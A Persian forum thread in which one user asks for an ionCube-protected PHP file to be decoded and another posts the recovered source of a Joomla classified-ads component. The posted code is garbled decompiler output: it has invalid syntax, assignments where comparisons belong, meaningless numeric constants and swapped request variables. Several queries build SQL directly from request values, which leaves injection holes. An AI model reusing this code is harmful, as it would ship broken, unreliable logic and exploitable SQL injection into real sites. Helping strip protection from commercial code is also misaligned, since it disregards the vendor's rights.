PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : درخواست دي كد كردن



aminamin
July 22nd, 2014, 19:13
با سلام

يه فايل php تو پيوست گذاشتم از دوستان كسي ميتونه اينو كه كد شده

و ديكد كنه

با تشكر

websazha
July 22nd, 2014, 19:16
ionCube و احتمالا ورژن 6.3 هست.
که دیکدر در نت فراوان.
ولی تصور نکنید بعد از دیکد 100% مفهموم و PHP کاملا خوانا دارید.

موفق باشید.

Yas-Host
July 22nd, 2014, 19:31
تست کنید :




<?php


if (!( defined( '_JEXEC' ))) {
exit( 'Restricted access' );
(bool)true;
}


jimport( 'joomla.application.component.controller' );
class NiazController extends JController {
function __construct() {
parent::( );
}


function ReBackCredit() {
global $my;


$PID = JRequest::getvar( 'ix', 0, 'POST' );
$PID = intval( base64_decode( $PID ) );
$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
$db->setQuery( $query );
$row = $db->loadObject( );
$total = 472;


if (count( $row )) {
$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
$query = 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$fldMoney = $db->loadResult( );
$query = 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' . $my->id;
$query = self::cleansql( $query );
$db->setQuery( $query );
$total = ($fldMoney ? $db->loadResult( ) : 0);
$fldMoney = Comma( $fldMoney );
}




if (intval( $total )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $row->fldTafavot . ',fldTafavot=fldTafavot-' . $row->fldTafavot . ' WHERE fldUID=' . $my->id;
$db->setQuery( $query );
$db->Query( );
$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_COMPLETED' );
return null;
}


$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_ERROR' );
}


function WhereCluse($view) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $niaz_config;
global $DLANG;
global $AU;


$db = JFactory::getdbo( );
$limit = JRequest::getvar( 'limit', $app->getCfg( 'list_limit' ) );
$limitstart = JRequest::getvar( 'limitstart', 0 );
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
$Type = JRequest::getvar( 'Type', 0 );
$key = JRequest::getvar( 'key' );
$id = JRequest::getvar( 'id', 0 );
$layout = JRequest::getvar( 'layout', NULL );
$fldUID = JRequest::getvar( 'fldUID', 0 );
$key = urldecode( JRequest::getvar( 'key', '' ) );
$A = array( );
$where = '';
switch ($view) {
case 'myads': {
$A[] = 'fldOwner=' . $my->id;
break;
}


default: {
if (!empty( $key )) {
$query = 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' . $key . '\' AND published = 1';
$db->setQuery( $query );
$Keys = $db->loadResultArray( );


if (!count( $Keys )) {
$Keys[] = 0;
}




if (!isset( $_SESSION[$key] )) {
$query = 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' . $key . '\'';
$db->setQuery( $query );
$db->Query( );
$_SESSION[$key] = 1;
}


$query = 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' . implode( ',', $Keys ) . ') ';
$db->setQuery( $query );
$KeyArray = $db->loadResultArray( );


if (count( $KeyArray )) {
$A[] = 'fldID IN (' . implode( ',', $KeyArray ) . ')';
}
}


$A[] = 'published=1';
}
}




if ($catid) {
$A[] = 'parent_id=' . $catid;
}




if ($subcatid) {
$A[] = 'fldRelation=' . $subcatid;
}


$K = implode( ' AND ', $A );


if ($K) {
$where = ' WHERE (' . $K . ')';
}


$where = self::cleansql( $where );
return $where;
}


function LoadSQL($table, $where, $fields = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $mainframe;
global $AU;
global $niaz_config;


$db = JFactory::getdbo( );
$limit = JRequest::getint( 'limit', $niaz_config->fldNShow );
$view = JRequest::getvar( 'view', 'niaz' );
$limitstart = JRequest::getint( 'limitstart' );
$ordering = 'fldID DESC';
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$table2 = $table;


if (( $view = 'niaz' || $view = '' )) {
$query = 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ? ' AND fldID = ' . $catid : '');
$db->setQuery( $query );
$CatArray = $db->loadResultArray( );
$CatArray[] = 0;
$query = 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' . implode( ',', $CatArray ) . ') ' . ($subcatid ? ' AND fldID = ' . $subcatid : '');
$db->setQuery( $query );
$SubCatArray = $db->loadResultArray( );
$SubCatArray[] = 0;
$where &= (strlen( $where ) ? ' AND fldRelation IN (' . implode( ',', $SubCatArray ) . ')' : 'WHERE fldRelation IN (' . implode( ',', $SubCatArray ) . ')');
}


switch ($table) {
case 'prod': {
$ordering = 'fldStartTime DESC';
$orderingX = '';
switch ($view) {
case 'myads': {
$fields = '*';
break;
}


case 'pay': {
$fields = '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMon ey`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber` ,`fldPName`,`fldImage`,`fldOwner`' . (strlen( $fields ) ? $fields : '');
break;
}


default: {
$fields = '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldS howLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`, `fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTi me,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA';
$orderingX = 'OA DESC,fldStar';
$ordering = '';
$orderingX = (strlen( $niaz_config->fldField55 ) ? str_replace( array( ':', '*' ), array( ' ', ',' ), $niaz_config->fldField55 ) : $orderingX);
}
}


$ordering = '' . $orderingX . ' ' . $ordering;


if ($view = 'myads') {
$ordering = 'fldID DESC';
}
else {
$where &= (intval( $niaz_config->fldField30 ) ? '' : ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 ');
}


break;
}


case 'rss': {
$table2 = 'prod';
}
}


$query = 'SELECT COUNT(*) FROM #__niaz_' . $table . ' ' . $where;
$db->setQuery( $query );
$total = $db->loadResult( );
$limitx = '
LIMIT ' . $limitstart . ', ' . $limit;
jimport( 'joomla.html.pagination' );
$pageNav = new JPagination( $total, $limitstart, $limit );
$query = 'SELECT ' . $fields . ' FROM #__niaz_' . $table . ' ' . $where . ' ' . ( '
ORDER BY ' . $ordering ) . $limitx;
$db->setQuery( $query );
$rows = $db->loadObjectList( );
return array( $rows, $pageNav );
}


function LoadMySQL($table, $where) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $mainframe;
global $AU;
global $niaz_config;


$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_' . $table . ' WHERE ' . $where . ' ';
$db->setQuery( $query );
$rows = $db->loadObjectList( );
return $rows;
}


function LoadMiniAds($rows) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


$C = array( );
echo ' <div width="100%" class="border">
';
$j = 480;
$i = 480;
$n = count( $rows );


while ($i < $n) {
$row = $rows[$i];


if (( ( ( intval( $niaz_config->fldField48 ) && intval( $niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) {
$ExpDate[] = $row->fldID;
}


$_SESSION['CID'][] = $row->fldID;
$C[] = $row->fldID;
echo ' <div class="banner">
<a href="';
echo JRoute::_( 'index.php?option=' . $option . '&view=detail&id=' . $row->fldID . ':' . $row->fldPName );
echo '" class="title">
';


if ('' < $row->fldImage) {
$fldImage = explode( ',', $row->fldImage );
$A = rand( 1, count( $fldImage ) );
$fldImage = $fldImage[$A - 1];
echo ' <img src="components/';
echo $option;
echo '/files/prod/';
echo '' . $row->fldDate . '/' . $row->fldID;
echo '/tmb_';
echo $fldImage;
echo '" title="';
echo $rows[$i]->fldPName;
echo '" alt="';
echo $rows[$i]->fldPName;
echo '" class="tniypic">
';
}
else {
echo ' <img src="components/';
echo $option;
echo '/images/tmb_pic.png" alt="';
echo $rows[$i]->fldPName;
echo '" title="';
echo $rows[$i]->fldPName;
echo '" class="tniypic">
';
}


echo '
<img border="0" src="';
echo 'components/' . $option . '/images/star_' . $row->fldStar . '.gif';
echo '" />
<br/>';
echo '<s';
echo 'pan>';
echo $row->fldPName;
echo '</span></a>
</div>
';
++$i;
}


echo ' </div>
';
viewCounts( $C );


if (isset( $ExpDate )) {
self::updateexpdate( $ExpDate );
}


}


function UpdateExpDate($ids) {
$db = JFactory::getdbo( );
$ExpDate = implode( ',', $ids );
$query = 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' . $ExpDate . ')';
$db->setQuery( $query );
$db->Query( );
}


function LoadConfig() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $Cat;
global $SubCat;
global $SubCatAll;


$db = JFactory::getdbo( );


if (count( $niaz_config )) {
return true;
}


echo '<div class="message">' . JText::_( 'NIAZ_ERROR_CONFIG' ) . '</div>';
return false;
}


function showMail($aid) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;


$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_prod ' . ( '
WHERE fldID = ' . $aid );
$db->setQuery( $query );
$rowsa = $db->loadObject( );
$email = $rowsa->fldEMAil;
$uid = $rowsa->fldOwner;
$query = 'SELECT * FROM #__users ' . ( '
WHERE id = ' . $uid );
$db->setQuery( $query );
$rows = $db->loadObject( );


if (count( $rowsa )) {
if ($rowsa->fldEMAil) {
self::showmails( $rows, $rowsa );
return null;
}


echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_NONE_EMAIL' ) . '</a></p>';
return null;
}


echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_BACK' ) . '</a></p>';
}


function showMails($rows, $rowsa) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;


$db = JFactory::getdbo( );


if ($niaz_config->fldField20 = 2) {
$A['css'] = 'slider.css';
$A['js'] = 'slider.js';
foreach ($A as $k => $v) {
NiazController::loaduserstyle( $k, $v );
}
}




if (intval( $niaz_config->fldField19 )) {
$i2 = 578;
}


$i2 = 578;
echo ' ';
echo '<s';
echo 'cript language="javascript">
function checkMail(x){
var filter = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(x))
return 0;
else
return 1;
}
//================================================== =====================
function validAdsMessage(){
var form = document.EForm;
';


if ($niaz_config->fldField20) {
echo ' if(document.getElementById(\'sec_key\').value==""){
alert("';
echo JText::_( 'ALERT_SEC_CODE' );
echo '");
return false;
}
else
';
}


echo ' if(form.Name.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_YOUR_NAME' );
echo '\');
form.Name.focus();
return;
}
else
if((form.Email.value==\'\')||(checkMail(form.Email .value)))
{
alert(\'';
echo JText::_( 'NIAZ_EMAIL' );
echo '\');
form.Email.focus();
return;
}
else
if(form.Subject.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_SUBJECT' );
echo '\');
form.Subject.focus();
return;
}
else
if(form.Message.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_MESSAGE' );
echo '\');
form.Message.focus();
return;
}
else
form.submit();
}
//================================================== =====================
</script>
<div class="adminform">
<form action="';
echo $_SERVER['REQUEST_URI'];
echo '" method="post" name="EForm">
<h3>';
echo JText::_( 'NIAZ_ADS_CONTACT' );


if (isset( $rows )) {
echo ' : <a href="';
echo JRoute::_( 'index.php?option=com_userprofile&view=userprofile&id=' . $rows->id . ':' . $rows->username . '&Itemid=116' );
echo '">';
echo $rows->name;
echo '</a>';
}


echo '</h3>
<div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">';
echo JText::_( 'NIAZ_REQUIERD' );
echo '</div>
<div class="row2">';
echo JText::_( 'NIAZ_RECIVER' );
echo ' : ';
echo (isset( $rows ) ? $rows->name : $rowsa->fldPName);
echo '</div>

<div class="row"><label>';
echo JText::_( 'NIAZ_YOUR_NAME' );
echo '</label><input size="35" name="Name" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_COUNTRY' );
echo '</label><input size="35" name="Country" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_EDU' );
echo '</label><input size="35" name="Edu" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_JOB' );
echo '</label><input size="35" name="Job" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_EMAIL' );
echo '</label><input size="35" name="Email" dir="ltr"></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_SUBJECT' );
echo '</label><input size="35" name="Subject" value="';
echo JText::_( 'NIAZ_DEFUALT_SUBJECT' );
echo ' ';
echo $rowsa->fldPName;
echo '"></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_MESSAGE' );
echo '</label><textarea name="Message" class="NewTable" rows="10"></textarea></div>
';


if (intval( $niaz_config->fldField20 )) {
echo ' <div class="row">
';


if (intval( $niaz_config->fldField20 ) = 1) {
echo ' <label>';
echo JText::_( 'NIAZ_IMAGE_SECURITY' );
echo '</label>
<input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" />
<img src="';
echo JURI::root( );
echo 'components/';
echo $option;
echo '/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" />
<img src="';
echo JURI::root( );
echo 'index.php?option=';
echo $option;
echo '&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" />

';
}
else {
$captcha = time( );
$_SESSION['captcha'] = $captcha;
echo ' <div id="ads-slider" class="dragdealer rounded-cornered w90">
<div class="red-bar handle" id="roleowerADS">&lt;&lt; ';
echo JText::_( 'NIAZ_SEC_ALERT' );
echo ' </div>
</div>
<input type="hidden" name="sec_key" id="sec_key" />
';
echo '<s';
echo 'cript language="javascript">
var MyAlaki = \'';
echo $captcha;
echo '\';
var OkAlert = \'';
echo JText::_( 'NIAZ_SEC_OK' );
echo '\';
</script>
';
}


echo ' </div>
';
}


echo ' <input type="hidden" name="To" value="';
echo $rowsa->fldEMAil;
echo '" />
<input type="hidden" name="option" value="';
echo $option;
echo '" >
<input type="hidden" name="task" value="sendMail" >
<input type="hidden" name="mag" value="';
echo JText::_( 'NIAZ_A_ADS' );
echo ' ';
echo $rowsa->fldPName;
echo '" >
<input type="button" value="';
echo JText::_( 'NIAZ_SEND_MAIL' );
echo '" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;">
</form>
</div>
';
echo '<s';
echo 'cript language="javascript">
';


if ($niaz_config->fldField20 = 2) {
echo ' new Dragdealer(\'ads-slider\');
';
}


echo '</script>
';
}


function sendMail() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;


$db = JFactory::getdbo( );
$MailFrom = $app->getCfg( 'mailfrom' );
$FromName = $app->getCfg( 'fromname' );
$SiteName = $app->getCfg( 'sitename' );


if (intval( $niaz_config->fldField20 )) {
$sec_key = JRequest::getvar( 'sec_key' );


if ($sec_key != $_SESSION['captcha']) {
$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
}


$Email = $Subject = $Message = ;
$Job = JRequest::getvar( 'Message', '', 'POST' );
$Edu = JRequest::getvar( 'Subject', '', 'POST' );
$Country = JRequest::getvar( 'Email', '', 'POST' );
$Name = JRequest::getvar( 'Job', '', 'POST' );
$mag = JRequest::getvar( 'Edu', '', 'POST' );
JRequest::getvar( 'To', '', 'POST' );
$To = JRequest::getvar( 'Country', '', 'POST' );
JRequest::getvar( 'si', 'X', 'POST' );
$si = JRequest::getvar( 'Name', '', 'POST' );
JRequest::getvar( 'siu', 'Y', 'POST' );
$siu = JRequest::getvar( 'mag', '', 'POST' );


if ($mag) {
$mag = JText::_( 'ADS_TO_ADMIN' ) . ' ' . $mag;
}
else {
$mag = JText::_( 'ADS_TO_USER' ) . ( ' ' . $SiteName );
}


$body = $Name . ( ' <' . $Email . '>
' ) . JText::_( 'NIAZ_JOB' ) . ' : ' . $Job . '
' . JText::_( 'NIAZ_EDU' ) . ' : ' . $Edu . ( '

' . $mag . '

' ) . $Message . '
' . '
. ' . JText::_( 'NIAZ_SENT' ) . ( ' ' . $mosconfig_live_site . ' ' ) . JText::_( 'NIAZ_BY_OUR_SITE' ) . ( ' ' . $SiteName . ' ' ) . JText::_( 'NIAZ_TO_ADD' ) . ( '
<' . $FromName . '>' . $MailFrom );
$M = JUTility::sendmail( $MailFrom, $FromName, $To, $Subject, $body, 0, NULL, NULL, NULL );


if (is_object( $M )) {
$M = 577;
}




if ($M) {
JText::_( 'NIAZ_SENT_SUCCESS' );
$msg = ;
}
else {
$msg = '';
}


$this->setMessage( $msg );
$this->setRedirect( $_SERVER['REQUEST_URI'] );
return true;
}


function CheckAccess() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $option;
global $RTL;


if ($my->id = 0) {
$uri = JFactory::geturi( );
$return = $uri->toString( );
$url = 'index.php?option=com_users&view=login';
$url &= '&return=' . base64_encode( $return );
$app = JFactory::getapplication( );
$app->redirect( JRoute::_( $url ), JText::_( 'You must login first' ) );
}


}


function saveprod($task = 'save') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $option;
global $RTL;


$db = JFactory::getdbo( );


if ($niaz_config->fldUType = 0) {
NiazController::checkaccess( );
}




if (!intval( $niaz_config->fldField42 )) {
$niaz_config->fldField42 = 10;
}




if (!intval( $niaz_config->fldField56 )) {
$niaz_config->fldField56 = 2;
}


$ShortDescX = JRequest::getvar( 'ShortDesc', array( ), 'POST' );
$ShortDesc = array( );
foreach ($ShortDescX as $k => $v) {


if (( $k < $niaz_config->fldField42 && strlen( trim( $v ) ) )) {
$vx = explode( ' ', $v );


if (intval( $niaz_config->fldField56 ) < count( $vx )) {
$v = array_slice( $vx, 0, $niaz_config->fldField56 );
$v = implode( ' ', $v );
}


$ShortDesc[] = $v;
continue;
}
}


$ShortDesc = array_unique( $ShortDesc );
JRequest::setvar( 'fldShort', implode( ',', $ShortDesc ) );
JRequest::setvar( 'fldEXPMail', 0 );


if (count( $ShortDesc )) {
foreach ($ShortDesc as $v) {
$query = 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' . $v . '\');';
$db->setQuery( $query );
$db->Query( );
}
}


$id = JRequest::getint( 'fldID', 0, 'POST' );
$PName = JRequest::getvar( 'fldPName', '', 'POST' );
$X = self::isuniquename( $PName, $id );


if ($X) {
$this->setMessage( JText::_( 'ALERT_DUPLICATE_NAME' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}




if (intval( $niaz_config->fldField20 )) {
$sec_key = JRequest::getvar( 'sec_key' );


if ($sec_key != $_SESSION['captcha']) {
$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
}


require_once( JPATH_SITE . DS . 'administrator' . DS . 'components' . DS . $option . DS . 'tables' . DS . 'prod.php' );
$FType = array( );


if (strlen( $niaz_config->fldField45 )) {
$U = explode( '*', $niaz_config->fldField45 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
$FType['fldFilmsize'][$D[0]] = $D[1];
}


$FType['fldFilm'] = $X;
}




if (strlen( $niaz_config->fldField44 )) {
$U = explode( '*', $niaz_config->fldField44 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
$FType['fldImagesize'][$D[0]] = $D[1];
}


$FType['fldImage'] = $X;
}


$File = array( );
$B = array( );
$msg = '';
$table = 'prod';
$fldStat = JRequest::getvar( 'fldStat' );
$row = new NiazTableProd( $db );
$row->load( $id );


if (5 < $fldStat) {
$_POST['fldStat'] = 0;
}


$fldDate = ($id ? $row->fldDate : date( 'Y-m-d' ));
$_POST['fldDate'] = $fldDate;
$_POST['fldOwner'] = $my->id;


if (intval( $niaz_config->fldField32 ) = 0) {
$_POST['fldDesc'] = strip_tags( $_POST['fldDesc'] );


if ($niaz_config->fldField43) {
$fldDesc = explode( ' ', $_POST['fldDesc'] );
$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
$_POST['fldDesc'] = implode( ' ', $fldDesc );
}
}


$FT = array( );
$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
$db->setQuery( $query );
$Cols = $db->loadObjectList( );
$i = 2099;
foreach ($Cols as $h) {


if (substr( $h->Field, 0, 8 ) = 'fldExtra') {
if ($h->Type = 'text') {
$FT[] = $h->Field;
++$i;
continue;
}


continue;
}
}


foreach ($FT as $v) {


if (intval( $niaz_config->fldField32 ) = 0) {
JRequest::setvar( $v, strip_tags( $_POST[$v] ), 'POST' );


if ($niaz_config->fldField43) {
$fldDesc = explode( ' ', $_POST[$v] );
$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
JRequest::setvar( $v, implode( ' ', $fldDesc ), 'POST' );
continue;
}


continue;
}
}


$DELPIC = ($my->id ? JRequest::getvar( 'DELPIC', array( ) ) : array( ));
$maindestfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate );
$destfolder = $maindestfolder . DS . ( '' . $id );
$Err = 2099;
foreach ($_FILES as $k => $v) {
foreach ($v as $k1 => $v1) {


if ($k1 = 'name') {
foreach ($v1 as $k2 => $v2) {


if (strlen( $v2 )) {
$v2 = strtolower( $v2 );
$s = explode( '.', $v2 );
$se = $s[count( $s ) - 1];


if (( !in_array( $se, $FType[$k] ) || ( $FType[$k . 'size'][$se] && $FType[$k . 'size'][$se] < intval( $v['size'][$k2] \ 1024 ) ) )) {
$Err = 2100;
}


$File[$k][] = $v2;
continue;
}
}


continue;
}
}
}




if (( ( ( $niaz_config->fldField29 && strlen( $niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen( $row->fldImage ) )) {
$Err = 2101;
}




if ($Err) {
$this->setMessage( ($Err = 1 ? JText::_( 'ERROR_UPLOAD_FILE' ) : JText::_( 'ERROR_EMPTY_FILE' )), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}




if (count( $DELPIC )) {
foreach ($DELPIC as $k => $v) {


if (strlen( $row->$k )) {
$A = explode( ',', $row->$k );
$B = $DELPIC[$k];
$C = array( );
$i = 2099;


while ($i < count( $B )) {
if (file_exists( '' . $destfolder . '/' . $B[$i] )) {
JFile::delete( '' . $destfolder . '/' . $B[$i] );
}




if (file_exists( '' . $destfolder . '/tmb_' . $B[$i] )) {
JFile::delete( '' . $destfolder . '/tmb_' . $B[$i] );
}




if (in_array( $B[$i], $A )) {
$U = array_keys( $A, $B[$i] );
$A[$U[0]] = NULL;
}


++$i;
}


arsort( $A );
$i = 2099;
$n = count( $B );


while ($i < $n) {
array_pop( $A );
++$i;
}


$_POST[$k] = (count( $A ) ? implode( ',', $A ) : '');
$row->$k = (count( $A ) ? implode( ',', $A ) : '');
continue;
}
}


$msg &= JText::sprintf( 'MYPN_FILE_DELETE', count( $B ) );
}


$A = array( );
$NFile = array( );
foreach ($File as $k => $v) {
$A[$k] = $v;
}




if (count( $A )) {
$C2 = 2099;
foreach ($A as $k => $v) {
$B1 = self::savefile( $fldDate, $k, $table, $id );
$B1 = explode( ',', $B1 );
$NFile[$k] = $B1;
$C2 += count( $B1 );
$_POST[$k] = ($id ? (strlen( $row->$k ) ? $row->$k . ',' : '') . implode( ',', $B1 ) : implode( ',', $B1 ));


if (!$id) {
$FArray[$k] = implode( ',', $B1 );
continue;
}
}


$msg &= JText::sprintf( 'MYPN_FILE_ADDED', $C2 );
}




if (!isset( $_POST['fldImage'] )) {
$_POST['fldImage'] = $row->fldImage;
}




if (!isset( $_POST['fldFilm'] )) {
$_POST['fldFilm'] = $row->fldFilm;
}


$_POST['fldEdit'] = ($id ? $row->fldEdit & 1 : 0);
self::calculateform( $_POST );
$_POST['fldPay'] = 0;


if (( $niaz_config->fldField25 = 3 && !$_POST['fldPay'] )) {
$_POST['published'] = 1;
}




if (( ( $my->id && intval( $niaz_config->fldField2 ) ) && !intval( $_POST['fldMoney'] ) )) {
$query = 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldMoney=0 AND fldID!=' . $_POST['fldID'];
$db->setQuery( $query );
$total = $db->loadResult( );


if (intval( $niaz_config->fldField2 ) <= $total) {
$this->setMessage( JText::sprintf( 'ALERT_OUT_REGISTER_ADS', intval( $niaz_config->fldField2 ), $total ) );
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
return true;
}
}


foreach ($_POST as $k => $v) {
$_POST[$k] = self::myquestfarsi( $v );
}




if (( !$row->published && $row->fldPay = 1 )) {
$fldTafavot = $row->fldMoney;
$_POST['fldTafavot'] = 0;
$_POST['fldPay'] = 0;
$_POST['fldPayDate'] = NULL;
$_POST['fldPayMethod'] = '';
$_POST['fldOrderNumber'] = '';
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldOwner . ');';
$db->setQuery( $query );


if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner . ';';
$db->setQuery( $query );


if ($db->Query( )) {
}


$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' . $fldTafavot . ') WHERE fldUID = ' . $row->fldOwner . ' AND fldTafavot >=' . $fldTafavot . ';';
$db->setQuery( $query );


if ($db->Query( )) {
}
}


$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner . ';';
$db->setQuery( $query );


if ($db->Query( )) {
}


$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\';';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
$fldDesc = JText::sprintf( 'REVERSE_CREDIT_1', $_POST['fldPName'] );
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );


if ($db->Query( )) {
}
}
else {
if (( ( !$row->published && !$row->fldPay ) && $row->fldTafavot )) {
self::reverseusecredit( $row, $db );
}
}


$_POST['fldTafavot'] = 0;


if ($row->published) {
$query = 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ';';
$db->setQuery( $query );
$db->Query( );
}




if (!$row->bind( $_POST )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}




if (!$row->check( )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}


$row->fldShort = implode( ',', $ShortDesc );
$row->fldStartTime = NULL;


if (!$row->store( true )) {
echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
';
exit( );
}


$query = 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' . implode( '\',\'', $ShortDesc ) . '\');';
$db->setQuery( $query );
$krows = $db->loadResultArray( );
foreach ($krows as $v) {
$query = 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' . $v . ',' . $row->fldID . ');';
$db->setQuery( $query );
$db->Query( );
}


$query = 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' . implode( ',', $krows ) . ( ') AND `fldPID`=' . $row->fldID . ';' );
$db->setQuery( $query );
$db->Query( );


if ($id = 0) {
$destfolder = $maindestfolder . DS . $row->fldID;
JFolder::create( $destfolder );
foreach ($NFile as $k => $v) {
foreach ($v as $k1 => $v1) {


if ($k = 'fldImage') {
JFile::move( $maindestfolder . DS . '0' . DS . 'tmb_' . $v1, $destfolder . DS . 'tmb_' . $v1 );
}


JFile::move( $maindestfolder . DS . '0' . DS . $v1, $destfolder . DS . $v1 );
}
}
}


switch ($task) {
case 'save': {
if (!$id) {
